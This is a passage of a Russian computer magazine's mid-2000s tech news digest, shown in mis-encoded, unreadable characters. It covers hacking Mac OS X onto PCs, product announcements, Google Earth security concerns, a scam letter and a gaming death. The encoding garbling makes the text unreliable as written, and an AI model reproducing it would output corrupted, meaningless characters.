òàâëÿòüñÿ â 2006 ã. äëÿ ìàëîìîùíûõ ìàøèí. Ñòèâ Äæîáñ âûäâèíóë
òðåáîâàíèå, ÷òîáû åãî ñèñòåìà çàïóñêàëàñü òîëüêî íà PC, ïðè ñáîðêå
êîòîðûõ èñïîëüçîâàëîñü æåëåçî Apple. Äëÿ òàêîãî îãðàíè÷åíèÿ äàæå
ðàçðàáîòàëè ñïåöèàëüíûé ÷èï áåçîïàñíîñòè, ïðåäîòâðàùàþùèé êîïè-
ðîâàíèå ñèñòåìû íà îáû÷íûå êîìïû. Íî õàêåðû óñïåëè îòìåòèòüñÿ è
çäåñü. Â Ñåòè óæå ïîÿâèëàñü èíñòðóêöèÿ, êàê îáîéòè çàùèòó îò êîïè-
ðîâàíèÿ � íóæíà ñàìà MacOS X ÷åòâåðòîé âåðñèè (Tiger), ïðîãðàììà
äëÿ ñîçäàíèÿ âèðòóàëüíûõ ìàøèí VMware, PearPC, ýìóëèðóþùèé ðà-
áîòó ëþáûõ Mac-ñèñòåì, ïðîãðàììíûé ïàêåò Apple Darwin 8.0.1, ïðîö
x86 ñ ïîääåðæêîé SSE2 è äâà êðÿêà, êîòîðûå ìîæíî íàéòè â Ñåòè. Íàé-
òè îïèñàíèå ïðîöåññà ìîæíî íà ñàéòå ïðîåêòà OSx86.
Ïîêà Apple íå ïðåäïðèíÿëà íèêàêèõ äåéñòâèé ïðîòèâ õàêåðîâ è ñàéòîâ,
ðàñïðîñòðàíÿþùèõ èíñòðóêöèè ïî ñíÿòèþ çàùèòû, íî ýòîãî ñëåäóåò
îæèäàòü â áëèæàéøåì áóäóùåì.

ÂÎÑÑÒÀÍÈÅ 
ÏÐÎÒÈÂ MICROSOFT
Microsoft ìàëî, êòî ëþáèò. Áîëüøè-
íñòâî ëþäåé îãðàíè÷èâàþòñÿ ìîë-
÷àëèâîé íåëþáîâüþ, íî åñòü è òà-
êèå, êòî îòêðûòî âûñòóïàåò ïðîòèâ
êîíòîðû Áèëëà. Îñîáåííî ýòî ñòà-
ëî çàìåòíî, ïîñëå àêòèâíîãî ïðî-
íèêíîâåíèÿ êîìïàíèè íà íîâûå
ðûíêè. Äëÿ áîðüáû ñ ìîíîïîëèñ-
òîì áûë äàæå ñîçäàí ñïåöèàëüíûé
êîìèòåò ïî áîðüáå ñ Microsoft (The
Committee to Fight Microsoft). Â íà-
÷àëå àâãóñòà åãî ãëàâà Ýíäè Ìàð-
òèí ïîäåëèëñÿ ñ ïðåññîé ñâîèì íà-
ìåðåíèåì ïîäàòü íà MS â ñóä, è òà-
êèì îáðàçîì îñòàíîâèòü ðåëèç
Windows Vista. Áîðåö ñ ìàçäàéíûì
çëîì çàÿâèë, ÷òî ïðîäóêòû MS �
ýòî îäèí ñïëîøíîé áàã, à ïîëüçî-
âàòåëè èãðàþò ðîëü ïîäîïûòíûõ
êðîëèêîâ. «ß íå îñòàâëþ Microsoft
â ïîêîå äî òåõ ïîð, ïîêà îíà íå
ïðåäîñòàâèò òâåðäîé ãàðàíòèè, ÷òî ÎÑ íå ñîäåðæèò óÿçâèìîñòåé â áå-
çîïàñíîñòè», � ñêàçàë Ýíäè. À òàê êàê ãàðàíòèé äàæå Øâåéöàðñêèé
áàíê íå äàåò, òî ìèñòåðó Ìàðòèíó ïðåäñòîèò åùå äîëãàÿ è óïîðíàÿ
áîðüáà. Íà âûñòóïëåíèÿ àêòèâèñòà èçâåñòíàÿ êîìïàíèÿ îòâåòèëà äî-
âîëüíî ñòàíäàðòíî: «Ìû äåëàåì âñå âîçìîæíîå. Ïîâûøåíèå securi-
ty � íàøå ïðèîðèòåòíîå íàïðàâëåíèå».
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LOGITECH 
È ÅÃÎ ËÀÇÅÐÛ

Åñëè òû õîòü ðàç âèäåë êîìïëåêò Logitech DiNovo, òî íàâåðíÿêà îí òåáå
çàïîìíèëñÿ. Åùå áû � íåîáû÷íûé ñòèëüíûé äèçàéí, äîïîëíèòåëüíûé
áëîê MediaPad, Bluetooth-êîíöåíòðàòîð, êîòîðûé ñîâìåùåí ñ çàðÿäíîé
áàçîé äëÿ áåñïðîâîäíîé ìûøè. Ñåãîäíÿ êîìïàíèÿ ïðåäñòàâëÿåò îáíîâ-
ëåííóþ âåðñèþ ýòîãî êîìïëåêòà (Logitech diNovo Media Desktop Laser),
â êîòîðîé íàøëè ïðèìåíåíèÿ âñå ïîñëåäíèå ðàçðàáîòêè Logitech. Ñåðü-
åçíî èçìåíèëàñü ìûøêà � òåïåðü ýòî ëàçåðíîå (Logitech MX1000
Cordless Laser Mouse), à íå îïòè÷åñêîå óñòðîéñòâî. Òî÷íîñòü ïîçèöèî-
íèðîâàíèÿ ó íåå íàìíîãî âûøå, ÷åì ó ãðûçóíîâ ñ îïòè÷åñêèì äàò÷èêîì.
Áåñïðîâîäíîé êîíöåíòðàòîð ñòàë òàêæå áîëåå ñîâåðøåííûì, òåïåðü îí
ïîääåðæèâàåò óñîâåðøåíñòâîâàííóþ òåõíîëîãèþ Bluetooth 2.0
Enhanced Data Rate (EDR), êîòîðàÿ ïîçâîëÿåò ãîðàçäî áûñòðåå ïåðåäà-
âàòü èíôîðìàöèþ ìåæäó óñòðîéñòâàìè BlueTooth. Ïðîäàæè êîìïëåêòà
íà÷íóòñÿ â îêòÿáðå. Ñ÷àñòëèâ÷èêè èç Åâðîïû ïîêóïàþò åãî ïî ðåêîìåí-
äóåìîé öåíå çà 200 äîëëàðîâ, ñêîëüêî îí áóäåò ñòîèòü â Ðîññèè, ïîêà
ñëîæíî äàæå ïðåäïîëîæèòü.

ÇÀÙÈÒÈ 
ÑÂÎÞ ÝÍÅÐÃÈÞ
Âñåì æèòåëÿì Ðîññèè èçâåñòíû ïðîáëåìû ñ ýëåêòðè÷åñòâîì � òî ïåðå-
ïàäû íàïðÿæåíèÿ, òî âîîáùå ñâåò âäðóã âûêëþ÷èòñÿ. Êàê êîðàáëü â áóð-
íîì ìîðå ñïàñàåò ìàÿê, òàê è â áóðå ýëåêòðîêàòàêëèçìîâ íàì ïîìîæåò
ÈÁÏ Lighthouse. Âñå ñåðèè ÈÁÏ Lighthouse (à èõ òðè: Base, Master è Pro,
ðàçëè÷àþùèåñÿ åìêîñòüþ áàòàðåé ) îñíàùåíû çàùèòîé òåëåôîííîé,
ôàêñîâîé, ìîäåìíîé, ñåòåâîé è Èíòåðíåò ëèíèé, âêëþ÷àÿ ADSL, äëÿ ïðå-
äîòâðàùåíèÿ ïîâðåæäåíèÿ ýëåêòðîííîãî îáîðóäîâàíèÿ, êîìïåíñàöèè
ñêà÷êîâ íàïðÿæåíèÿ è ïîäàâëåíèÿ øóìîâ. Ñ ïîìîùüþ ïðîñòîé è óäîáíîé
ðóññêîÿçû÷íîé óòèëèòû ïîëüçîâàòåëü ñìîæåò êîíòðîëèðîâàòü ðàçëè÷-
íûå ïàðàìåòðû è óïðàâëÿòü ÈÁÏ. Îñíîâíûìè ïðåèìóùåñòâàìè ñâîåé
ïðîäóêöèè êîìïàíèÿ-ïðîèçâîäèòåëü ñ÷èòàåò âûñîêîå êà÷åñòâî êîìïëåê-
òóþùèõ è ñáîðêè, àäàïòàöèþ óñòðîéñòâ äëÿ Ðîññèè è íåâûñîêóþ èõ öåíó.



ÀÂÒÎÏÈËÎÒÈÐÓÅÌÛÉ
OPEL VECTRA

Êîìïàíèÿ General Motors ðàçðàáàòûâàåò ýêñêëþçèâíóþ ñèñòåìó àâòî-
ïèëîòèðîâàíèÿ òðàíñïîðòíûìè ñðåäñòâàìè, êîòîðàÿ äîëæíà âûéòè â
ñâåò â íà÷àëå 2008 ãîäà íà ëåãêîâîì àâòîìîáèëå Opel Vectra. Àâòîïè-
ëîò ìîæíî áóäåò èñïîëüçîâàòü â óñëîâèÿõ ïëîòíîãî äâèæåíèÿ íà ñêî-
ðîñòÿõ äî 100 êì/÷. Ñèñòåìà ïîëó÷èëà íàçâàíèå Traffic Assist è îíà ñìî-
æåò ðàáîòàòü â ïîëíîñòüþ àâòîìàòè÷åñêîì ðåæèìå, íå òðåáóÿ êàêèõ-
ëèáî äåéñòâèé ñî ñòîðîíû âîäèòåëÿ. Â êîìïëåêò Traffic Assist âõîäÿò
ëàçåðíûå äàò÷èêè è âèäåîêàìåðû, èíôîðìàöèÿ ñ êîòîðûõ ïîñòóïàåò
íà áîðòîâîé êîìïüþòåð è àíàëèçèðóåòñÿ. Àâòîïèëîò ñìîæåò ðàñïîçíà-
âàòü äîðîæíóþ ðàçìåòêó, ïðåïÿòñòâèÿ íà äîðîãå è îñòàëüíûõ ó÷àñòíè-
êîâ äâèæåíèÿ. Â çàâèñèìîñòè îò ñèòóàöèè íà äîðîãå, êîìïüþòåð áóäåò
îòäàâàòü êîìàíäû äâèãàòåëþ, ïðèâîäó ðóëåâîãî êîëåñà èëè òîðìîçíîé
ñèñòåìå. Ïî ïðåäâàðèòåëüíûì ïîäñ÷åòàì, êîìïëåêò îáîðóäîâàíèÿ
Traffic Assist áóäåò ñòîèòü äîðîæå ïðèìåðíî â ïîëòîðà ðàçà, ÷åì òðàäè-
öèîííûå ñèñòåìû êðóèç-êîíòðîëÿ, è âñëåä çà Opel Vectra äîëæåí ïîÿ-
âèòüñÿ íà àâòîìîáèëÿõ Saab 9-3, Cadillac BLS è Saturn Aura.

ÌÀØÈÍÀ-ÏÐÈÇÐÀÊ
ÎÒ ÌÅËÊÎÌßÃÊÈÕ
Êîìïàíèÿ Microsoft ïîäàëà çàÿâêó â Óïðàâëåíèå ÑØÀ ïî ïàòåíòàì è
òîðãîâûì ìàðêàì (USPTO) íà ïîëó÷åíèå ïàòåíòà íà íîâóþ ñèñòåìó
íàâèãàöèè àâòîìîáèëÿ. Ñåé÷àñ, ÷òîáû ïîëó÷èòü äàííûå î çàãðóæåí-
íîñòè äîðîã è äëÿ âûáîðà îïòèìàëüíîãî ìàðøðóòà äâèæåíèÿ, âîäè-
òåëü âûíóæäåí ïîñòîÿííî ïðîñìàòðèâàòü êàðòó íà áîðòîâîì êîìïüþ-
òåðå, ëèáî ïðîñëóøèâàòü êó÷ó èíôîðìàöèè â âèäå ãîëîñîâûõ ñîîá-
ùåíèé. Ìàéêðîñîôò æå ïëàíèðóåò îáëåã÷èòü íàâèãàöèþ è ñäåëàòü åå
áîëåå ïðîñòîé è óäîáíîé.
Ñóòü íîâîé ñèñòåìû çàêëþ÷àåòñÿ â òîì, ÷òî íà ëîáîâîì ñòåêëå àâòîìî-
áèëÿ áóäåò èçîáðàæåíà «ìàøèíà-ïðèçðàê», äâèæóùàÿñÿ êàê áû âïåðå-
äè ê ïóíêòó íàçíà÷åíèÿ. Òàêèì îáðàçîì, âîäèòåëþ íå îáÿçàòåëüíî áó-
äåò ïðîñìàòðèâàòü êàðòó � äîñòàòî÷íî áóäåò ïðîñòî äâèãàòüñÿ çà
«ïðèçðàêîì», êîòîðûé ïîêàæåò îïòèìàëüíûé ìàðøðóò. Òàê æå, çà ñ÷åò
èçìåíåíèÿ öâåòà «ìàøèíû-ïðèçðàêà», ìîæíî áóäåò ïîëó÷àòü äàííûå î
ïîãîäå, ñîñòîÿíèè äîðîã è ïðî÷åå. Â íîâîé ñèñòåìå íàâèãàöèè, êàê íè
ñòðàííî, áóäåò èñïîëüçîâàòüñÿ ñàìûé îáû÷íûé ìåòîä � ïðè ïîìîùè
GPS áóäóò âû÷èñëÿòüñÿ êîîðäèíàòû àâòîìîáèëÿ è âûáèðàòüñÿ îïòè-
ìàëüíûé ìàðøðóò äâèæåíèÿ.
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GOOGLE EARTH 
ÍÀ ÂÎÎÐÓÆÅÍÈÈ
ÒÅÐÐÎÐÈÑÒÎÂ
Åñëè òû íå â êóðñå,
Google Earth � ýòî îäèí
èç ïðîåêòîâ Google,
êîòîðûé ïîçâîëÿåò òå-
áå â ðåàëüíîì âðåìå-
íè íàáëþäàòü çà ïî-
âåðõíîñòüþ Çåìëè â
ëþáîé åå òî÷êå. Ïðîã-
ðàììà-êëèåíò ïîñëå
çàïóñêà ñîåäèíÿåò ïî
èíåòó òåáÿ ñî ñïóòíè-
êîì, äàëüøå, âðàùàÿ
ìîäåëü ïëàíåòû, òû
çóìèðóåøü èçîáðàæå-
íèå â íóæíûõ òåáå ìåñ-
òàõ è ëþáóåøüñÿ òåì,
÷òî òàì òâîðèòñÿ. Ìîæ-
íî çàïðîñòî íàéòè ñîáñòâåííûé äîì, à òàê êàê äåòàëèçàöèÿ î÷åíü âû-
ñîêàÿ, äàæå ðàññìîòðåòü ïðèïàðêîâàííóþ ó ïîäúåçäà ìàøèíó. È âñå
ýòî îáíîâëÿåòñÿ â ðåàëüíîì âðåìåíè! Ïðîåêò íå êîììåð÷åñêèé, è êëè-
åíò äîñòóïåí äëÿ ñêà÷èâàíèÿ âñåì æåëàþùèì � èìåííî ýòî è ñòàëî
ïðè÷èíîé âîëíåíèé â ïðàâèòåëüñòâåííûõ êðóãàõ. Âåäü ñ ïîìîùüþ
Google Earth ìîæíî ïîñìîòðåòü ñ âûñîòû ïòè÷üåãî ïîëåòà íå òîëüêî íà
ýêçîòè÷åñêèå êóðîðòû, íî è íà çàñåêðå÷åííûå îáúåêòû. Ïðè òåñòèðîâà-
íèè ïðîãðàììû, àâñòðàëèéñêèå îôèöèàëüíûå ëèöà ñî âñåìè ïîäðîá-
íîñòÿìè óâèäåëè èçîáðàæåíèå åäèíñòâåííîãî â èõ ñòðàíå àòîìíîãî ðå-
àêòîðà, êîòîðûé ìîã áû ñòàòü ëàêîìûì êóñêîì äëÿ òåððîðèñòîâ. È ýòî
ëèøü îäèí èç îáúåêòîâ, êîòîðûå íå ñëåäóåò âèäåòü ïðîñòîìó ãëàçó. Ïî-
êà òðåáîâàíèå ïîäâåðãíóòü öåíçóðå Google Earth ïîÿâèëîñü òîëüêî ó
àâñòðàëèéñêèõ âëàñòåé, íî ïðîåêò ìîëîäîé, è åñòü âñå øàíñû, ÷òî ê
àâñòðàëèéöàì ïðèñîåäèíÿòñÿ ÷èíîâíèêè äðóãèõ ñòðàí. Áîëüøîé Áðàò
ïðåäïî÷èòàåò ñàì íàáëþäàòü, è íå ëþáèò, êîãäà íàáëþäàþò çà íèì.

10 ÌÈËËÈÎÍÎÂ ÇÀ
ÍÅÁÎËÜØÓÞ ÓÑËÓÃÓ
Ðóíåòå çàõëåñòíóëà íîâàÿ âîëíà òàê íàçûâàåìûõ Íèãåðèéñêèõ ïèñåì. Íà
ýòîò ðàç íàì íå ðàññêàçûâàþò ïðî íàñëåäñòâî îò àôðèêàíñêîé áàáóøêè è
íå êîðìÿò áàéêàìè î ïîáåãå èç òþðüìû è íóæäå ïåðåïðàâèòü äåíüãè. Ñ
ïðîñüáîé î ïîìîùè ê íàì îáðàùàåòñÿ ïðåäñòàâèòåëü Ìèõàèëà Õîäîðêî-
âñêîãî. Äà-äà, òîãî ñàìîãî, ó êîòîðîãî äåíåã áîëüøå, ÷åì ó òåáÿ, ó ìåíÿ è
ïîëîâèíû Ðîññèè âìåñòå âçÿòûõ. Òàê âîò, îêàçûâàåòñÿ ó Ìèøè â áàíêå
«ÌÅÍÀÒÅÏ» õðàíèòñÿ 450 ìèëëèîíîâ ïðèïðÿòàííûõ áàêñîâ. Íî ñëèøêîì
äîëãî îíè òàì ëåæàò, è íàäî áû èõ ïåðåïðàâèòü íà äðóãîé ñ÷åò. Òîëüêî êó-
äà? Ó òåáÿ âåäü åñòü áàíêîâñêèé ñ÷åò, äðóæèùå? Òû-òî íàì è íóæåí! Â îá-
ùåì, åñëè òû íå ïðîòèâ, äàâàé ìû ïåðåâåäåì òåáå íà ñ÷åò 450 ìèëëèîíîâ,
à çà õëîïîòû âûäåëèì 4% äåíåã. Òî åñòü 10 ìèëëèîíîâ� êóïèøü ñåáå ÷å-
ãî-íèáóäü ñëàäåíüêîãî. È âîò åùå ÷òî� ÷òîáû ïåðåïðàâèòü äåíüãè, íóæíî
çíàòü òâîåé íîìåð áàíêîâñêîãî ñ÷åòà è, êîíå÷íî æå, ïàðîëü ê íåìó. Èíà÷å
íèêàê. Íó è ÿñåí ïåíü, òåëåôîí ñâîé ñêàæè, à òî âäðóã òû æóëèê êàêîé-òî.
Ïîñëå ïîëó÷åíèÿ òàêîãî ïèñüìà, êîððåñïîíäåíò ãàçåòû «Èçâåñòèÿ» îá-
ðàòèëñÿ â Áþðî ïî áîðüáå ñ ôèíàíñîâûìè ïðåñòóïëåíèÿìè, íî òàì åìó
îáúÿñíèëè, ÷òî ðàç ôèíàíñîâûõ ïîòåðü íåò, çíà÷èò, è ñóäà íåò. À ïðèÿ-
òåëü Õîäîðêîâñêîãî ìîæåò ãäå-òî â Êèòàå æèòü ïîä âûìûøëåííûì èìåíåì
×èíãèñõàí, êàê ìû òåáå åãî íàéäåì? Ïîêà âëàñòè èãðàþò â êîìïüþòåðíûé
ïîêåð íà îôèñíûõ ïåí-
òèóìàõ, ïèñüìî ñ çà-
ìàí÷èâûì ïðåäëîæå-
íèåì óæå îáîøëî ïîë-
ðóíåòà. ß íå ñîâåòóþ
òåáå ïîìîãàòü ïðåäñ-
òàâèòåëþ Ìèøè. ×òî-
òî ìíå ïîäñêàçûâàåò,
÷òî 10 ìèëëèîíîâ çà
ïóñòÿêîâóþ óñëóãó ñëèø-
êîì ùåäðûé äàð, äàæå
äëÿ îëèãàðõà.

ÒÐÅÕÌÅÐÍÛÉ ÄÈÑÏ-
ËÅÉ ÈÇ «ÃÈÏÅÐÒÊÀÍÈ»
Áðèòàíåö Àäàì Ìîíòàíäîí ñî ñâîèìè êîëëåãàìè èç ëàáîðàòîðèè HMC
MediaLab â Ïëèìóòå ðàçðàáîòàë äîâîëüíî íåîáû÷íûé òðåõìåðíûé äèñï-
ëåé, â êîòîðûé ìîæíî â áóêâàëüíîì ñìûñëå ñëîâà îêóíóòüñÿ ñ ãîëîâîé.
Ñèñòåìà ñîñòîèò èç ýêðàíà, èíôðàêðàñíûõ ñåíñîðîâ, ïðîåêòîðà è âèäåî-
êàìåðû. Ýêðàí èçãîòîâëåí èç òàê íàçûâàåìîé ãèïåðòêàíè. Ãèïåðòêàíü �
ýòî ýëàñòè÷íûé ìàòåðèàë, äåôîðìèðóþùèéñÿ ïîä âíåøíèì âîçäåéñòâè-
åì. Ñåíñîðû è âèäåîêàìåðà ðàñïîëàãàþòñÿ ïîçàäè ýêðàíà è ðåàãèðóþò íà
èçìåíåíèÿ ôîðìû ïîëîòíà èç ãèïåðòêàíè, ïîñëå ÷åãî ïåðåäàþò äàííûå â

êîìïüþòåð. Êîìïüþòåð îáðàáàòûâàåò ïåðåäàí-
íûå äàííûå ñ ïîìîùüþ ñïåöèàëüíîé ïðîãðàì-
ìû è âîñïðîèçâîäèò êàðòèíêó íà äåôîðìèðî-
âàííîì äèñïëåå. Ïîêà ÷òî ýòà ñèñòåìà ãåíåðè-
ðóåò îáúåìíîå èçîáðàæåíèå ëåñà. ×åëîâåê ìî-
æåò ïîãðóçèòü ãîëîâó èëè ðóêó â âèðòóàëüíîå
ïðîñòðàíñòâî, ëèáî «âûáèòü» èñêðû ðåçêèì
óäàðîì ïî ýêðàíó. Ïîëîòíî èç ãèïåðòêàíè èìååò
ðàçìåðû â îäèí ìåòð øèðèíîé è äâà ìåòðà âû-
ñîòîé. Ïî ìíåíèþ ðàçðàáîò÷èêîâ, ïîäîáíûå
ñòåíäû ìîæíî áóäåò óñïåøíî ïðèìåíÿòü íà ðàç-
ëè÷íûõ âûñòàâêàõ è ïðåçåíòàöèÿõ.

ÁÈÎÌÅÒÐÈ×ÅÑÊÈÅ
ÊËÞ×È ÎÒ ÄÎÌÀ

Â êàíàäñêîì ãîðîäå Âàíêóâåð ñêîðî ïîÿâèòñÿ ìíîãîêâàðòèðíûé æèëîé
äîì êëàññà ëþêñ, â êîòîðîì íå áóäåò îáû÷íûõ äâåðíûõ çàìêîâ. Íîâîå
çäàíèå áóäåò îáîðóäîâàíî íîâåéøåé ñèñòåìîé áèîìåòðè÷åñêîé èäåíòè-
ôèêàöèè æèëüöîâ è ïðîñòî ïîñåòèòåëåé. Òàêàÿ ñèñòåìà � äàëåêî íå íî-
âèíêà. Ðàíåå îíà èñïîëüçîâàëàñü òîëüêî â ãîñóäàðñòâåííûõ, ôèíàíñî-
âûõ è çàêðûòûõ ó÷ðåæäåíèÿõ. Òåïåðü æå äîì â Âàíêóâåðå ïåðâûì èç
æèëûõ ñìîæåò ïîõâàñòàòüñÿ ñâîåé âûñîêîòåõíîëîãè÷åñêîé îñíàñòêîé.
Áèîìåòðè÷åñêèå ñêàíåðû áóäóò óñòàíîâëåíû íå òîëüêî íà äâåðÿõ êâàð-
òèð, íî è íà óëè÷íîé äâåðè, â ãàðàæå, íà ñòîÿíêå è â ëèôòàõ. Èçíà÷àëü-
íî ñî âñåõ æèëüöîâ áóäóò ñíÿòû îòïå÷àòêè ïàëüöåâ. Ïðè÷åì, âî èçáåæà-
íèå íåäîðàçóìåíèé, îòïå÷àòêè áóäóò ñíÿòû ñðàçó ñ íåñêîëüêèõ ïàëüöåâ
îáåèõ ðóê. Ïðîöåäóðà èäåíòèôèêàöèè ñîâåðøåííî ñòàíäàðòíàÿ � ýòî
ïðîñòîå ñêàíèðîâàíèå îòïå÷àòêîâ ïðè âõîäå â çäàíèå. Ïðîäàæà êâàðòèð
â ýòîì äîìå óæå íà÷àòà. Ñòîèìîñòü æèëüÿ âàðüèðóåòñÿ îò 500 òûñÿ÷ äî
òðåõ ìèëëèîíîâ äîëëàðîâ.
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ËÞÄÈ-ÐÎÁÎÒÛ

ßïîíñêèå ó÷åíûå â î÷åðåäíîé ðàç óäèâèëè âåñü ìèð ñâîèì èçîáðåòåíèåì.
Óæ î÷åíü îíè ëþáÿò íàäåëÿòü ñâîè æåëåçíûå ñîçäàíèÿ ôóíêöèÿìè, ïðè-
ñóùèå æèâûì ñóùåñòâàì. Óæå åñòü è ðîáîòû-ïîìîùíèêè, è ðîáîòû äëÿ
ïîæèëûõ ëþäåé, è ðîáîòû-ôóòáîëèñòû, è ðîáîòû-ïåðåâîä÷èêè. Íåäàâíî
äàæå áûë ïðîðûâ � ñîçäàíèå èñêóñòâåííîé êîæè, ðàñïîçíàþùåé äàâëå-
íèå è òåìïåðàòóðó � ôóíêöèè, õàðàêòåðíûå íàñòîÿùåé êîæå. Íà ýòîò ðàç
ñïåöèàëèñòû ÿïîíñêîé êîìïàíèè NTT ïðåäñòàâèëè ñèñòåìó äèñòàíöèîí-
íîãî óïðàâëåíèÿ ÷åëîâåêîì. Ïðèíöèï äåéñòâèÿ âåñüìà ïðîñò � âîçäåé-
ñòâèå íà âåñòèáþëÿðíûé àïïàðàò, îòâå÷àþùèé çà ÷óâñòâî ðàâíîâåñèÿ. Â
îáëàñòü óõà ïîìåùàþòñÿ ýëåêòðîäû, êîòîðûå ïîäàþò ïîñòîÿííûé òîê. Çà
ñ÷åò ýòîãî ó ÷åëîâåêà ìåíÿåòñÿ ïðåäñòàâëåíèå î ñîáñòâåííîì ïîëîæåíèè
â ïðîñòðàíñòâå è îí èäåò òóäà, êóäà åìó ïðè ïîìîùè ñïåöèàëüíîãî äæîéñ-
òèêà áóêâàëüíî óêàçûâàþò, êóäà èäòè. Ôàêòè÷åñêè, ÿïîíñêèå ó÷åíûå ñóìå-
ëè ïðåâðàòèòü ÷åëîâåêà â ðàäèîóïðàâëÿåìîå óñòðîéñòâî.
Íà SIGGRAPH-2005 âñåì æåëàþùèì áûëà ïðåäîñòàâëåíà âîçìîæíîñòü
îïðîáîâàòü ýòó ñèñòåìó íà ñåáå è ïî÷óâñòâîâàòü ñåáÿ íåìíîæêî ðîáî-
òîì-àíäðîèäîì. Íà äàííûé ìîìåíò ðàçðàáîò÷èêè âèäÿò øèðîêîå ïðè-
ìåíåíèå íîâèíêè â ñôåðå âèäåîèãð äëÿ áîëåå ðåàëèñòè÷íûõ îùóùåíèé
â âèðòóàëüíîì ïðîñòðàíñòâå.

ÓÌÍÀß ÄÂÅÐÜ
ßïîíñêàÿ êîðïîðàöèÿ Tanaka ñîçäàëà àâòîìà-
òè÷åñêóþ äâåðü, ïîäñòðàèâàþùóþñÿ ïîä êîí-
òóðû òåëà ïðîõîäÿùåãî ñêâîçü íåå ÷åëîâåêà.
Äâåðü ñîñòîèò èç íåñêîëüêèõ äåñÿòêîâ òîíêèõ
ãîðèçîíòàëüíûõ ïîëîñ, ðàçäâèãàþùèõñÿ â
ðàçíûå ñòîðîíû. Ïðè ïðèáëèæåíèè ê äâåðè
÷åëîâåêà èëè èíîãî æèâîãî ñóùåñòâà ìíîãî-

÷èñëåííûå èíôðàêðàñíûå äàò÷èêè-ñåíñîðû îïðåäåëÿþò åãî ãàáàðè-
òû, ðàçìåðû ñóìîê è ïðî÷èå ïàðàìåòðû, è ñ íåáîëüøèì çàïàñîì ðàçä-
âèãàþò ïîëîñêè íà íóæíîå ðàññòîÿíèå, ëèáî æå íå ðàçäâèãàþò èõ âî-
îáùå. Êàê ãîâîðÿò ñàìè ðàçðàáîò÷èêè, «óìíàÿ» äâåðü áóäåò ïðåïÿò-
ñòâîâàòü ïðîíèêíîâåíèþ â ïîìåùåíèå ïûëè, ìèêðîáîâ è íàñåêîìûõ.
Òàê- æå äâåðü ïîìîæåò ñíèçèòü ðàñõîäû íà îáîãðåâ ïîìåùåíèÿ ââè-
äó óìåíüøåíèÿ èíòåíñèâíîñòè òåïëîîáìåíà êîìíàòû ñ âíåøíåé ñðå-
äîé. Êñòàòè, êîìïàíèÿ Tanaka åùå è ðàçðàáîòàëà ãàðàæíûå âîðîòà,
ïîâòîðÿþùèå êîíòóðû àâòîìîáèëÿ.

SAPPHIRE ÏÎÊÎÐßÅÒ
ÑÐÅÄÍÈÉ ÑÅÃÌÅÍÒ

Äëÿ âòîðæåíèÿ â ýòó ïîïóëÿðíóþ öåíîâóþ îáëàñòü áûëà ïîäãîòîâ-
ëåíà íîâàÿ ñåðèÿ âèäåîïëàò íà îñíîâå ÷èïñåòà ATI Radeon
X800GT. Îáå ìîäåëè ñåðèè X800GT áàçèðóþòñÿ íà óñïåøíîé àðõè-
òåêòóðå X800, èìåþò 256-áèòíûé èíòåðôåéñ ïàìÿòè, 8 ïèêñåëüíûõ
êîíâåéåðîâ, íî îñíàùàþòñÿ ðàçíûì îáúåìîì âèäåîïàìÿòè è èìå-
þò ðàçíûå òàêòîâûå ÷àñòîòû. Ïåðâàÿ ìîäåëü Sapphire RADEON
X800GT èìååò 256 Ìá DDR3-ïàìÿòè, ðàáîòàåò íà ÷àñòîòå ÿäðà 475
ÌÃö è èìååò ÷àñòîòó ïàìÿòè 980 ÌÃö ýôôåêòèâíàÿ. Âòîðàÿ ìîäåëü
ñåðèè îñíàùåíà 128 Ìá 256-áèòíîé DDR1-ïàìÿòè â óïàêîâêå BGA,
÷àñòîòà ÿäðà 475 ÌÃö, ÷àñòîòà ïàìÿòè 700 ÌÃö ýôôåêòèâíàÿ. Â
êîìïëåêòå ñ îáåèìè ïëàòàìè ïîñòàâëÿåòñÿ íîâàÿ  óòèëèòà äëÿ ðàç-
ãîíà TRIXX. Ê ïëàòå ìîæíî ïîäêëþ÷èòü äâà ìîíèòîðà (DVI-I è VGA),
à òàêæå òåëåâèçîð ÷åðåç S-Video. Â êîìïëåêòå ïîñòàâëÿþòñÿ âñå
íåîáõîäèìûå ïåðåõîäíèêè DVI-I/VGA, S-Video/êîìïîçèò è S-
Video/HDTV è êàáåëè.

ÏÎÈÃÐÀÅÌ Â BENQ
À òî÷íåå â íîâûé íî-
óòáóê ýòîé êîìïàíèè,
êîòîðûé íàçûâàåòñÿ
JoyBook S52. Ðîäíàÿ
ôèðìà íàçûâàåò åãî
îñíîâíûìè äîñòîèí-
ñòâàìè äèçàéí è
ôóíêöèîíàëüíîñòü.
Îí èìååò 13-äþéìî-
âûé øèðîêîôîðìàò-
íûé äèñïëåé ñ ÿð-
êîñòüþ 200 êä/ì2 è
âñòðîåííóþ ñèñòåìó
îáúåìíîãî çâó÷àíèÿ,
÷òî âêóïå äàåò ïîëü-
çîâàòåëþ âîçìîæ-
íîñòü íàñëàæäàòüñÿ
DVD-ôèëüìàìè. Äëÿ
âûõîäà â Ñåòü åñòü
àäàïòåð Wi-Fi (a\b\g), êîòîðûé ïðèñóòñòâóåò òóò áëàãîäàðÿ òîìó, ÷òî
âåñü íîóòáóê ïîñòðîåí íà òåõíîëîãèè Intel Centrino (÷èïñåò 915GM, ÷àñ-
òîòà øèíû äàííûõ 533 ÌÃö). Åùå î êîìïîíåíòàõ: â JoyBook óñòàíàâëè-
âàåòñÿ ìîáèëüíûé ïðîöåññîð Pentium ñ òàêòîâîé ÷àñòîòîé îò 1,6 ÃÃö,
256 èëè 512 Ìá îïåðàòèâíîé ïàìÿòè, æåñòêèé äèñê îáúåìîì äî 80 Ãá è
îïòè÷åñêèé êîìáî-ïðèâîä DVD. Âåñ íîóòáóêà ñîñòàâëÿåò 2 êã (âìåñòå ñ
áàòàðååé), à â êîìïëåêò ïîñòàâêè âõîäèò áîëüøîé íàáîð ÏÎ, âêëþ÷àþ-
ùèé â ñåáÿ ôèðìåííûå óòèëèòû BenQ è ìóëüòèìåäèéíîå ÏÎ ñòîðîííèõ
ïðîèçâîäèòåëåé.





ÑÌÅÐÒÜ 
ÂÎ ÈÌß ÈÃÐÛ
Íîâûé ñëó÷àé ñìåðòè çà êîìïüþòåðîì çàôèêñèðîâàí â Þæíîé Êîðåå.
Ïîñëå 50 ÷àñîâ èãðû â îäíîì èç èíòåðíåò-êàôå ãîðîäà Òýãó ñêîí÷àëñÿ
28-ëåòíèé ãåéìåð ïî èìåíè Ëè. Â òå÷åíèå òðåõ äíåé, êîòîðûå îí ïðîâåë
